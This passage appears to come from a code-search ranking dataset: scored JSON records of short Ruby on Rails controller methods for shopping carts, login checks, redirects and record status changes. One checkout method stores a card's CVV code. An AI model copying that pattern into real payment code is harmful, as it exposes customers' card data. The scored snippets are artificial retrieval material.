"8238151a0aa82dd5f8f0554b3e74cccd", "score": "0.6434362", "text": "def index\n #if there is a cart. pass it to the page otherwise pass it empty\n if session[:cart] then\n @cart = session[:cart]\n \n else\n @cart={}\n end \n end", "title": "" }, { "docid": "1485361fcd9d6e4222197a8391f5be7a", "score": "0.6430666", "text": "def set_cart_item\n if current_end_user.cart_items.empty?\n redirect_to end_users_path\n else\n end\n end", "title": "" }, { "docid": "a506fcb09dacb21640884799fbed59df", "score": "0.64287096", "text": "def show\n # get the shopping cart of the user\n @cart = Order.where(user_id: current_user.id, is_checked: false).first\n\n unless @cart #tested and works\n @cart = Order.new user_id: current_user.id, is_checked: false\n @cart.save\n end\n render 'index'\n end", "title": "" }, { "docid": "37da5a850a7543196b1fc78c8010854e", "score": "0.64279354", "text": "def login_required\n redirect_to store_path unless signed_in?\n end", "title": "" }, { "docid": "9dab042ad4c3bedb6cbb8be7fe760735", "score": "0.6424887", "text": "def confirm_logged_in\n if session[:user_id]\n true\n else\n flash[:notice] = 'Please log in.'\n redirect_to root_path\n false #halts the before_action\n end\n end", "title": "" }, { "docid": "464c267b6eed02cb4926bd931b9f3db4", "score": "0.6424075", "text": "def logging_in\n guest = guest_user\n current_cart = current_user.cart\n\n # if guest exists and the current_user does not already have a pending cart from previous session\n # then save all items in current cart into its own cart\n\n unless guest.nil? || !current_cart.items.empty?\n guest_cart = guest.cart\n current_cart.items.destroy_all unless current_user.cart.items.empty?\n current_cart.items = guest_cart.items\n current_cart.save!\n end\n end", "title": "" }, { "docid": "cab5eb54fed9b499ca2a71eb1fe26702", "score": "0.6422616", "text": "def load_cart\n # look for cart with current_user_id\n # if none exist, create new cart\n @cart = Cart.find_by(cart_owner_id: session[:user_id], status_id: 1)\n if @cart == nil\n @cart = Cart.new\n @cart.cart_owner_id = current_user.id\n @cart.status_id = 1\n @cart.save\n end\n end", "title": "" }, { "docid": "41a4d07c26b52930ed74519192d055a3", "score": "0.6418128", "text": "def create\n @cart=current_user.cart\n @cart.get_items(nil)\n @cart.get_items(@cart.line_items)\n @cart.get_re_products(nil)\n redirect_to time_sort_cart_path(@cart)\n end", "title": "" }, { "docid": "0accb9496fe7c846dcd8d781171c0c4c", "score": "0.6408565", "text": "def create\n if current_user.admin == false\n @product = Product.find params[:product_id]\n @cart = Cart.new(cart_params)\n @cart.user_id = current_user.id\n @cart.quantity = 1\n\n @existing_cart = Cart.find_by(product_id: @product.id)\n if @existing_cart && current_user.admin == false\n @existing_cart.quantity += 1\n @existing_cart.save\n redirect_to products_url(:item3 => 3), notice: 'Item added to cart.'\n else\n if current_user.admin == false\n if @cart.save\n redirect_to products_url(:item3 => 3), notice: 'Item added 1to cart.'\n end\n else\n redirect_to products_url(:item3 => 3)\n end\n end\n else\n redirect_to products_url(:item3 => 3)\n end\n end", "title": "" }, { "docid": "8c0b1c7239cff13fa32442ccf85c833f", "score": "0.6402552", "text": "def set_only_cart\n @cart = Cart.find_by(user_profile_id: current_user.user_profile_id)\n end", "title": "" }, { "docid": "4c1730d296ae4f4028eb64df3db4493d", "score": "0.6386627", "text": "def verify_actions\n @listing = Listing.find(params[:id])\n if current_user.customer? && @listing.user_id != current_user.id \n redirect_to root_url, notice: \"You cant do this\"\n end \n end", "title": "" }, { "docid": "d7577d3cd8cb97851b8f497d44a228e5", "score": "0.6384408", "text": "def cart\n\n\n @cart = Cart.find(session[:cart_id])\n @cart.status = \"closed\"\n @cart.name = params[:cart][:name]\n @cart.email = params[:cart][:email]\n @cart.address = params[:cart][:address]\n @cart.city = params[:cart][:city]\n @cart.state = params[:cart][:state]\n @cart.zip = params[:cart][:zip].to_i\n cc_number = params[:cart][:credit_num]\n @cart.credit_num = /\\d{4}\\Z/.match(cc_number)[0]\n\n @cart.credit_cvv = params[:cart][:credit_cvv]\n @cart.month = params[:cart][:month]\n @cart.year = params[:cart][:year]\n if @cart.save\n redirect_to confirmation_path\n else\n @cart.status = \"open\"\n @ordered_items = OrderedItem.where(cart_id: session[:cart_id], status: \"pending\")\n @cart_total = total_cart(@ordered_items)\n render \"check_out\"\n\n end\n end", "title": "" }, { "docid": "d4b156ac642b43459e3c52337256759b", "score": "0.63635194", "text": "def set_cart\n @products = Product.all\n @cart = Cart.find_by(user: current_user)\n end", "title": "" }, { "docid": "168be9f04182d1c8c02ea02c80651840", "score": "0.6361862", "text": "def current_cart\n acting_user.cart(session_user)\n end", "title": "" }, { "docid": "ce74de38cffb8d983aa00e0a70014e6a", "score": "0.6337666", "text": "def login_required\r\n if !logged_in?\r\n\tredirect_to login_path\r\n end\r\n end", "title": "" }, { "docid": "50f315619733a68bcf40b4438cb14405", "score": "0.63362074", "text": "def load_current_cart_or_redirect_to_default\n @cart ||= self.current_cart\n if !@cart || @cart.line_items.empty? || !@cart.line_items.first.product.is_partner_membership?\n redirect_to new_user_partner_path\n return false\n end\n end", "title": "" }, { "docid": "355a8cfaac8346794dba8d87ff82feb3", "score": "0.63307625", "text": "def login_required\n \tredirect_to(login_path, notice: 'Login required') unless current_user\n end", "title": "" }, { "docid": "4a0f2f6d4eb9d6981bd9b9db9a00b27a", "score": "0.63187695", "text": "def create\n create_cart\n redirect_to current_cart\n end", "title": "" }, { "docid": "65669c7cce5d7c709cf270bf86ccbfde", "score": "0.63184315", "text": "def set_cart\n @cart = Cart.find_by(user: current_user)\n end", "title": "" }, { "docid": "e44f2497cb74d42a906016c41f47e3ff", "score": "0.63066894", "text": "def index\n @cart_products = current_user.cart_products\n end", "title": "" }, { "docid": "584904969edf6d11778e3826d37890d3", "score": "0.629702", "text": "def set_cart_final\n if user_signed_in?\n user = current_user\n if user.cart_id != nil\n # logged user get cart which is in db belongs to this user.\n begin\n @cart = Cart.find(user.cart_id)\n session[:cart_id] = user.cart_id\n # if the cart desn't exists, new cart is created\n rescue ActiveRecord::RecordNotFound\n begin\n @cart = Cart.find(session[:cart_id])\n rescue ActiveRecord::RecordNotFound\n @cart = Cart.create\n session[:cart_id] = @cart.id\n end\n end\n end\n else\n # if user signed out, find session cart, rescuing to create new if session cart isnt find\n begin\n @cart = Cart.find(session[:cart_id])\n rescue ActiveRecord::RecordNotFound\n @cart = Cart.create\n session[:cart_id] = @cart.id\n end\n end\n end", "title": "" }, { "docid": "a6c299d32f898a13b37d2aa850a69b1f", "score": "0.6278264", "text": "def index\n @cart = current_user.cart\n @carts_products = @cart.carts_products rescue []\n @cart.apply_promotional_rules({misc_promotional_rules: MiscPromotionalRule.all, promotional_rules: PromotionalRule.all})\n end", "title": "" }, { "docid": "ab3285406425e2d84b4025d4dd3e659d", "score": "0.6268368", "text": "def not_empty\n if session[:cart].empty?\n flash[:danger] = 'Please add books to loan order before confirming.'\n redirect_to books_path\n end\n end", "title": "" }, { "docid": "cdd06fe90b064f47355407363a269c23", "score": "0.6266852", "text": "def add_in_cart\n product_id=params[:id].to_i \n if(check_availabilty(product_id))\n update_session(product_id)\n else\n flash[:notice] = \"#{Product.find(product_id).name} is not available in this quantity\" \n end\n end", "title": "" }, { "docid": "82ccab6d944aabd8d9ef40c50dc3a4e4", "score": "0.6263858", "text": "def index\n if session[:cart] then\n @cart = session[:cart]\n else\n @cart = {}\n end\n end", "title": "" }, { "docid": "ab9557fb3955b9d4f8f614b1b5d5207d", "score": "0.6263425", "text": "def show\n @cart = current_user.cart\n end", "title": "" }, { "docid": "92c46b12b5b61927d0d75761d743d104", "score": "0.6251544", "text": "def set_cart\n @cart = ProductsUser.where(user_id: current_user_id)\n end", "title": "" }, { "docid": "523ba9987d67f966c1da871fe3a34ad8", "score": "0.62497914", "text": "def checkout_cart\n # Checking out the cart returns the list of all the newly obtained\n # achievements. We want to use them to construct an appropriate flash\n # message\n achievements_unlocked = current_user.checkout_cart * ', '\n \n unless achievements_unlocked.empty?\n redirect_to dashboard_path, :flash => { achievements: \"Achievement(s) unlocked: #{achievements_unlocked}\" }\n else\n redirect_to dashboard_path\n end\n end", "title": "" }, { "docid": "3d28c5e1602369fc3fe8665a814110b2", "score": "0.62483597", "text": "def confirm\n redirect_to '/' if @cart.nil?\n @cart.purge!\n @line_items = @cart.line_items.not_deleted\n @order = Order.new(params[:order])\n \n @seo_content_toggle, @newsletter_toggle = [true,true]\n if @order.has_problems_with?(Order::PREORDER_FIELDS)\n render :action => \"checkout\" \n else\n @order.errors.clear\n @order.calculate_cart(@cart)\n end\n end", "title": "" }, { "docid": "8c1a2e0d707eb22feeadb2b64057c338", "score": "0.6247656", "text": "def cart # defining a helper method in the controller, because we need to access it in the controller\n session[:cart] ||= []\n end", "title": "" }, { "docid": "80a9f0dedc250ec00626059dd3175cf6", "score": "0.623821", "text": "def checkout\n @cart = find_cart\n if @cart.items.empty?\n redirect_to_index(\"Your cart is empty\" )\n else\n @order = Order.new\n end\n end", "title": "" }, { "docid": "483349a1213297013e50aee73af22cb9", "score": "0.62323326", "text": "def init_user_cart\n @cart ||= init_cart\n if user_cart = current_user.cart\n if @cart != user_cart && !@cart.new_record?\n @cart.replaces(user_cart)\n else\n @cart = user_cart\n end\n elsif !@cart.new_record?\n @cart.update_attribute(:user, current_user)\n end\n set_cart_cookie\n end", "title": "" }, { "docid": "c95acbdbef4145fc3452a821dc56a265", "score": "0.623075", "text": "def index\n @product_reviews = ProductReview.where(user_id: current_user.id)\n # if not signed in\n if current_user != nil\n # cart quantity check\n @quantity = Cart.where(user_id: current_user.id).count\n # seller check needed - no adding to cart for seller\n @sellerCheck = Seller.where(user_id: current_user.id).first\n end \n end", "title": "" }, { "docid": "c8cdd7038b6c8723a85c69705c91df1d", "score": "0.6229714", "text": "def set_cart\n @cart = current_user.carts.find(params[:id])\n end", "title": "" }, { "docid": "97c8af812aa1018873ba1f411d731d8b", "score": "0.6228042", "text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to recipes_path\n \n end\n end", "title": "" }, { "docid": "26cd5e3a73f2cb7d4d609ec784a36ef8", "score": "0.6225181", "text": "def load_current_cart\n @cart = Cart.find_or_initialize_by(id: session[:cart_id])\n #@order.user_id = current_user.try(:id) \n @cart.user = current_or_guest_user\n if @cart.new_record?\n @cart.save!\n session[:cart_id] = @cart.id\n end\n end", "title": "" }, { "docid": "9c68d3ff051915116e87ee044100439c", "score": "0.622027", "text": "def logging_in\n guest_carts = guest_user.carts.load\n \n guest_carts.each do |cart|\n #order.user_id = current_user.id\n #order.save!\n cart.update(user_id: current_user.id)\n end\n end", "title": "" }, { "docid": "e126e08684a3d74b78ef5c99591d6b8b", "score": "0.62090904", "text": "def initialize_vars\n \n instantiate_shopping_classes\n \n @auth_shopping_cart_params = permitted_params.fetch(:cart,{})\n \n @auth_shopping_cart = params[:id] ? @auth_shopping_cart_class.find_self(params[:id],current_signed_in_resource) : @auth_shopping_cart_class.new(@auth_shopping_cart_params)\n \n end", "title": "" }, { "docid": "be9953f8637b719ddc7c0efaf9bf5416", "score": "0.62084395", "text": "def index\n if signed_in? \n @menu = \"home\" \n @board = \"mycart\"\n @section = \"index\"\n \n @mycarts = Mycart.all(:user_id => current_user.id)\n render 'mycart'\n else\n redirect_to '/'\n end\n\n \n end", "title": "" }, { "docid": "fa1bbf48a994cbe3aebc6a2a7fe8747b", "score": "0.6206194", "text": "def set_shopping_cart\n @shopping_cart = current_user.shopping_cart\n end", "title": "" }, { "docid": "9ebe649d17c9fb7bc3583e25d53049bb", "score": "0.6204762", "text": "def callback_login(user)\n if cookies[:e_cart_id].present?\n e_current_cart(ecommerce_get_visitor_key).change_user(user)\n cookies.delete(:e_cart_id)\n end\n end", "title": "" }, { "docid": "9ebe649d17c9fb7bc3583e25d53049bb", "score": "0.6204762", "text": "def callback_login(user)\n if cookies[:e_cart_id].present?\n e_current_cart(ecommerce_get_visitor_key).change_user(user)\n cookies.delete(:e_cart_id)\n end\n end", "title": "" }, { "docid": "85a68ad77e2e4b8200e03cd2e4d001f4", "score": "0.6204733", "text": "def load_current_cart_or_redirect\n @cart ||= current_cart\n unless @cart\n redirect_to new_account_bank_deposit_path\n return\n end\n end", "title": "" }, { "docid": "d7d115f0ebe30852d2c62178408075ef", "score": "0.61926794", "text": "def force_merge\n if session[:cart]\n flash[:danger] = \"Please combine or discard shopping carts before check out!\"\n redirect_to shopping_cart_path\n end\n end", "title": "" }, { "docid": "dc54b12b345496b602f0bd2ae0dda060", "score": "0.61907136", "text": "def ensure_cart_isnt_empty\n if @cart.line_items.empty?\n redirect_to store_index_url, notice: \"Your cart is empty!\"\n end\n end", "title": "" }, { "docid": "ed3c910133a7068a4849092480a845cb", "score": "0.61876404", "text": "def associate_user_with_cart\r\n #@cart = Cart.find(params[:id])\r\n \r\n #at this point check if the user is signed in \r\n #if not make them sign in\r\n \r\n #need to assosiate the cart with the user\r\n #also add the users addresses (they have option to change them in next step when this redirects to edit_cart_path)\r\n \r\n #paid won't change until payment\r\n \r\n if(current_user)\r\n #update cart current_user is devise helper\r\n @cart.update(\r\n :user_id => current_user.id, \r\n :billing => current_user.billing_address,\r\n :shipping => current_user.shipping_address)\r\n \r\n #will redirect to charges/new view here\r\n #redirect_to new_charge_path\r\n\r\n #first they need to go to edit cart\r\n redirect_to edit_cart_path(@cart)\r\n else\r\n #redirect to login path\r\n redirect_to new_user_registration_path\r\n end\r\n \r\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.6187004", "text": "def before_action \n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.6187004", "text": "def before_action \n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.6187004", "text": "def before_action \n end", "title": "" }, { "docid": "e46960a34c3048fc68b29794e4ed80cb", "score": "0.61836576", "text": "def cart_owner_or_admin_if_confirmed\n\t\t\tcart = Cart.find(params[:id])\n\n\t\t\tif !cart.owner?(current_user)\n\t\t\t\tif !current_user_admin?\n\t\t\t\t\tflash[:error] = \"No tienes permiso para realizar esa acción.\"\n\t\t\t\t\tredirect_to products_path\n\t\t\t\telse\n\t\t\t\t\tif !cart.confirmed\n\t\t\t\t\t\tflash[:notice] = \"Esta compra aún no ha sido confirmada.\"\n\t\t\t\t\t\tredirect_to products_path\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "0fbc3318b54aa57ed8d93357ea7356bc", "score": "0.6183299", "text": "def show\n basket = Cart.where(:id => params[:id])\n if basket.count > 0#Cart.where(:id => params[:id]).count > 0\n if params[:id].to_i == session[:cart].to_i\n @items = CartItem.where(:cart_id => session[:cart]).order(:id)\n @cart = Cart.find(session[:cart])\n elsif basket[0].active?\n flash[:notice] = \"Invalid Cart\"\n else\n if Customer.find(Cart.find(params[:id]).customer_id).email == params[:email]\n @items = CartItem.where(:cart_id => params[:id])\n @cart = Cart.find(params[:id])\n else\n flash[:notice] = \"Invalid URL Please use the link in your email.\"\n end\n end\n else\n flash[:notice] = \"Cart does not exist!\"\n end\n\n unless session[:visitor] == 'admin'\n Galileo.create(:controller => 'cart',\n :view => 'show',\n :ip => request.remote_ip,\n :object => session[:cart],\n :referrer => request.referer)\n end\n end", "title": "" }, { "docid": "2e586c368f97a98c2a7bf4645adc6a85", "score": "0.61755705", "text": "def login_required\n if session[:customer]\n return true\n end\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n \n redirect_to :action =>\"login\" and return false \n end", "title": "" }, { "docid": "4ff7313dd8ad5614d85610ec02e260cb", "score": "0.6174648", "text": "def index\n # passes a cart to display\n if session[:cart] then\n @cart = session[:cart]\n else\n @cart = {}\n end \n end", "title": "" }, { "docid": "a5098e7da216366c5abaef75dde8387e", "score": "0.6172438", "text": "def login_required\n redirect_to login_path if !logged_in?\n end", "title": "" }, { "docid": "ba04cfef5e38bd35018592b30d609944", "score": "0.6164236", "text": "def authentication_required\n if !logged_in?\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "968ef70fcb32b53c7c8411bf9fa4db65", "score": "0.6161106", "text": "def empty_cart\n session[:cart] = nil\n# flash[:notice] = \"Your Request List is currently empty\"\n# redirect_to :action => 'index'\n redirect_to_index(\"Your Request List is currently empty\")\n end", "title": "" }, { "docid": "faab1ee04432035104c4d54c498a5757", "score": "0.6159378", "text": "def login_required\n \tredirect_to(root_url, notice: 'You have to be signed in to do that!') unless current_user\n end", "title": "" }, { "docid": "66c67235d416c51fc2abbc89d76ac768", "score": "0.61591077", "text": "def check_cart_status\n carts = cart_ids = params.to_a[0][0].split(',')\n render text: Cart.is_carts_full?(carts) if carts.present?\n end", "title": "" }, { "docid": "36ab5d8b0939db270d935bcbb2d77963", "score": "0.61581075", "text": "def cart_in_store\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to store_url, :notice => \"Your cart is empty\"\n return\n end\n\n @order = Order.new\n\n respond_to do |format|\n format.html { render 'orders_in_store/cart', :layout => 'store' } # listing.html.erb\n #format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end", "title": "" }, { "docid": "247149535ac7d40eba561ace0145be33", "score": "0.6155596", "text": "def create\n user = User.find_by_email(params[:email])\n if user && user.authenticate(params[:password])\n session[:user_id] = user.id\n ## Time to check if there's a cart.\n @cart = Cart.where(:user_id => session[:user_id]).first\n if @cart == nil || session[:cart].nil?\n session[:authenticated] = true\n redirect_to root_url, :notice => \"Successfully logged in.\"\n return\n else\n ProductOrder.where(:cart_id => session[:cart].id).each do |po| \n po.add_to_cart(@cart.id) \n po.save\n end\n end\n session[:cart] = @cart\n session[:authenticated] = true\n redirect_to root_url, :notice => \"Successfully logged in.\"\n return\n else\n logger.debug(\"Signin failed.\")\n flash.now.alert = \"Invalid email or password\"\n render 'new'\n end\n logger.debug(\"Current user: \" + session[:user_id].to_s + \", in SessionsController.\")\n end", "title": "" }, { "docid": "1ad9cfb84a66c86f9e6826797c95e92d", "score": "0.61542046", "text": "def set_cart\n @cart = current_user.cart || Cart.create(user: current_user)\n end", "title": "" }, { "docid": "e9126afd14fc22e4e25f103eb1efefe0", "score": "0.61521107", "text": "def require_customer\n\t\tif(!user_signed_in?)\n\t\t\tredirect_to '/users/sign_in', :flash => { :error => 'You must be signed in!' }\n\t\tend\t\t\n\tend", "title": "" } ]
b6bced7afbf9c85993bd4f942a1c375b
STATUS RELATED METHODS Status 0 nothing, 1 Waiting, 2 Approved, 3 Refused Method that permits for the administrator to change the status of the snippet
[ { "docid": "7dcbc83a9ab1784868bab0b5c45644e3", "score": "0.0", "text": "def admin_status_update(status)\n status = status.to_i\n if status == 2\n self.update_column(:status, 2)\n return \"Accepted\"\n elsif status == 3\n self.update_column(:status, 3)\n return \"Refused\"\n elsif status == 1\n self.update_column(:status, 1)\n return \"Waiting\"\n end\n end", "title": "" } ]
[ { "docid": "410ec594a0e756db23335aa7a801204d", "score": "0.6945831", "text": "def status(*) end", "title": "" }, { "docid": "410ec594a0e756db23335aa7a801204d", "score": "0.6945831", "text": "def status(*) end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.691787", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.691787", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.691787", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.691787", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.691787", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.691787", "text": "def status\n end", "title": "" }, { "docid": "dcc61db20606ecc84a64a42db4fc8252", "score": "0.6903968", "text": "def status\n\n end", "title": "" }, { "docid": "554c1a6dd6f0d1253e79bf95b42a6be8", "score": "0.68434775", "text": "def status\n end", "title": "" }, { "docid": "ab208b923fb67b90eb59203f11bb5998", "score": "0.68376464", "text": "def get_status\n end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68342453", "text": "def status; end", "title": "" }, { "docid": "ae3c11352bdb588f5cd98db97d3df9c9", "score": "0.68334705", "text": "def status; end", "title": "" }, { "docid": "111ebc8abb0e0b9599ebad25d0ec231f", "score": "0.66639924", "text": "def status\n end", "title": "" }, { "docid": "111ebc8abb0e0b9599ebad25d0ec231f", "score": "0.66639924", "text": "def status\n end", "title": "" }, { "docid": "c1216aa9b96a1107439dc14bc815b126", "score": "0.6661551", "text": "def status\n\t end", "title": "" }, { "docid": "fe575c5c8ba32a734f0412421fd13327", "score": "0.665815", "text": "def status=(status); end", "title": "" }, { "docid": "fe575c5c8ba32a734f0412421fd13327", "score": "0.665815", "text": "def status=(status); end", "title": "" }, { "docid": "ed6026e7d12fda2525796cfbffd2ac9b", "score": "0.66463286", "text": "def retrieve_status\n \n end", "title": "" }, { "docid": "a93a3ac0a012c4b3bb57ed8481e7cd5a", "score": "0.6620074", "text": "def update_status\n # If a thesis has been set to 'Pending publication' or 'Published', this\n # method cannot change it; other methods will set/revert that status.\n return if ['Pending publication', 'Published'].include? publication_status\n\n # Still here? Then we proceed...\n # By default, a thesis is set to 'Not ready for production'\n self.publication_status = 'Not ready for publication'\n # If the five qualifying conditions are met, then we set status to\n # 'publication review'. This will leave unchanged a thesis that was\n # already set to 'Pending publication' via another method.\n if [\n files_complete,\n metadata_complete,\n no_issues_found?,\n no_active_holds?,\n authors_graduated?\n ].all?\n self.publication_status = 'Publication review'\n end\n # Please note that the 'pending publiation' and 'published' statuses can\n # not be set via this method - they get assigned elsewhere.\n end", "title": "" }, { "docid": "2d8555e33c5a0f1f470edcd29c2a4478", "score": "0.66009367", "text": "def update_status\n # If a thesis has been set to 'Pending publication' or 'Published', this\n # method cannot change it; other methods will set/revert that status.\n return if ['Pending publication', 'Published', 'Publication error'].include? publication_status\n\n # Still here? Then we proceed...\n # By default, a thesis is set to 'Not ready for production'\n self.publication_status = 'Not ready for publication'\n # If all qualifying conditions are met, then we set status to\n # 'publication review'. This will leave unchanged a thesis that was\n # already set to 'Pending publication' via another method.\n self.publication_status = 'Publication review' if evaluate_status\n # Please note that the 'pending publiation' and 'published' statuses can\n # not be set via this method - they get assigned elsewhere.\n end", "title": "" }, { "docid": "88b76e0c431af684e7b9fd004926c9ea", "score": "0.65919065", "text": "def update_status(status)\n case status\n when PENDING\n self.pending!\n when APPROVED\n self.approve!\n when REJECTED\n self.reject!\n when REMOVED\n self.remove!\n end\n end", "title": "" }, { "docid": "d0e44ea2ec4565c7dad7451b73ebfd35", "score": "0.65835935", "text": "def set_status\n self.status = 'Pending'\n end", "title": "" }, { "docid": "75a7583011e66d4eefb8aec23d544644", "score": "0.6555156", "text": "def status\n @_status\n end", "title": "" }, { "docid": "bd3f230245b4bdec3d4a600e9d0831c8", "score": "0.65073115", "text": "def update_status!\n s = case\n when !submitted? then :in_progress\n when requires_approval? && submitted? && !approved? then :pending\n when submitted? && approved? && !checked_out? && !checked_in? then :approved\n when checked_out? && late? then :late\n when checked_out? then :checked_out\n when checked_in? && late? then :returned_late\n when checked_in? && !checkin_ok? then :returned_damaged\n when checked_in? then :returned\n else :unknown\n end\n self.status = s.to_s\n end", "title": "" }, { "docid": "d51d9a161815c865c5e93e5b594a217c", "score": "0.64928234", "text": "def status_text\n status == 1 ? 'Accepted' : 'TBD'\n end", "title": "" }, { "docid": "e40cda57289802d8ebc484592bce9c8c", "score": "0.64840305", "text": "def status=(_); end", "title": "" }, { "docid": "e40cda57289802d8ebc484592bce9c8c", "score": "0.64840305", "text": "def status=(_); end", "title": "" }, { "docid": "805570c9ff4aa049f7f8b4587c44a8f3", "score": "0.644765", "text": "def status\n \"incomplete\"\n end", "title": "" }, { "docid": "c40e50bff3e3bedfcd1fd01c4a915fe4", "score": "0.64368016", "text": "def set_status\n self.status = \"pending\"\n end", "title": "" }, { "docid": "6ee2b8aaf3c589ee2b9f5c6bbb58edfb", "score": "0.6425837", "text": "def status\n if !self.reviewed && !self.approved\n return 'unreviewed'\n elsif self.reviewed && self.approved\n return 'approved'\n elsif self.reviewed && !self.approved\n return 'denied'\n else return 'undefined'\n end\n end", "title": "" }, { "docid": "f2f578e4de271d1665a3099a4650e35e", "score": "0.6420504", "text": "def modify_status\n if params[:status]\n @article.declined!\n else\n if current_user.admin?\n @article.approved!\n elsif current_user.moderator?\n @article.moderator_approved!\n end\n end\n redirect_to(:back)\n end", "title": "" }, { "docid": "f04c175913ac466e26cdc015224183d5", "score": "0.6418778", "text": "def status\n @status || super\n end", "title": "" }, { "docid": "f04c175913ac466e26cdc015224183d5", "score": "0.6418778", "text": "def status\n @status || super\n end", "title": "" }, { "docid": "ab1d07d26cff08b23b439f79f8f7f918", "score": "0.64184064", "text": "def set_status\n self.status = :pending\n end", "title": "" }, { "docid": "ab1d07d26cff08b23b439f79f8f7f918", "score": "0.64184064", "text": "def set_status\n self.status = :pending\n end", "title": "" }, { "docid": "6e72864b9fd91f5e19b3591792cbec6d", "score": "0.6415217", "text": "def status=(status)\n end", "title": "" }, { "docid": "1b8a1824f2265f34d82b8029e730ec14", "score": "0.64053035", "text": "def approved\n self.status == \"Approved\"\n end", "title": "" }, { "docid": "20db8f1a4bf24f2fb4a8289604b739fd", "score": "0.6389661", "text": "def check_status\n #puts (\"Checking Status for \" + self.user.name + \" on \" + self.challenge.title)\n #logger.debug(\"Checking Status for \" + self.user.name + \" on \" + self.challenge.title)\n remaining_misses <= 0 ? set_status(:Disqualified) : set_status(:Active)\n end", "title": "" }, { "docid": "aa0b941605d6d356d331854762bfc805", "score": "0.6387191", "text": "def status\n \"foobar\"\n end", "title": "" }, { "docid": "e4f9e6046ac8f25e4037a4cca1fe63f1", "score": "0.6385438", "text": "def status\n { }\n end", "title": "" }, { "docid": "5bf8b7d3e95d2ea7a60f33b960a7ab2d", "score": "0.6373655", "text": "def status(id)\n end", "title": "" }, { "docid": "101266bf69edfd34ee21384362cbf53b", "score": "0.6370551", "text": "def status\n @status\n end", "title": "" }, { "docid": "101266bf69edfd34ee21384362cbf53b", "score": "0.6370551", "text": "def status\n @status\n end", "title": "" }, { "docid": "c15a772e3adcb6a6ce7fdfd421be1e08", "score": "0.63494503", "text": "def status\n call_action(:status)\n end", "title": "" }, { "docid": "e9a4c03a6023a19389c9f241510a56e2", "score": "0.63482285", "text": "def status\n @status ||= underscore(@body[:status])&.to_sym\n end", "title": "" }, { "docid": "323fb7eb5dcc9e1064c94c15b1cd4b61", "score": "0.63379455", "text": "def set_status\n self.status ||= 'pending'\n end", "title": "" }, { "docid": "f902a0959ec2204aac4f59bd695ad78b", "score": "0.63360214", "text": "def status_meaning(status)\n return 'pending' if ['pending'].include?(status)\n return 'positive' if ['granted', 'active'].include?(status)\n return 'negative'\n end", "title": "" }, { "docid": "9519f895c8df388454e542338b9c200c", "score": "0.6332518", "text": "def status\n raise NotImplementedError.new(\"It is the responsibility of subclasses to implement the method 'status'\")\n end", "title": "" }, { "docid": "d0b1eac913898eb7cc2fab0049e3050c", "score": 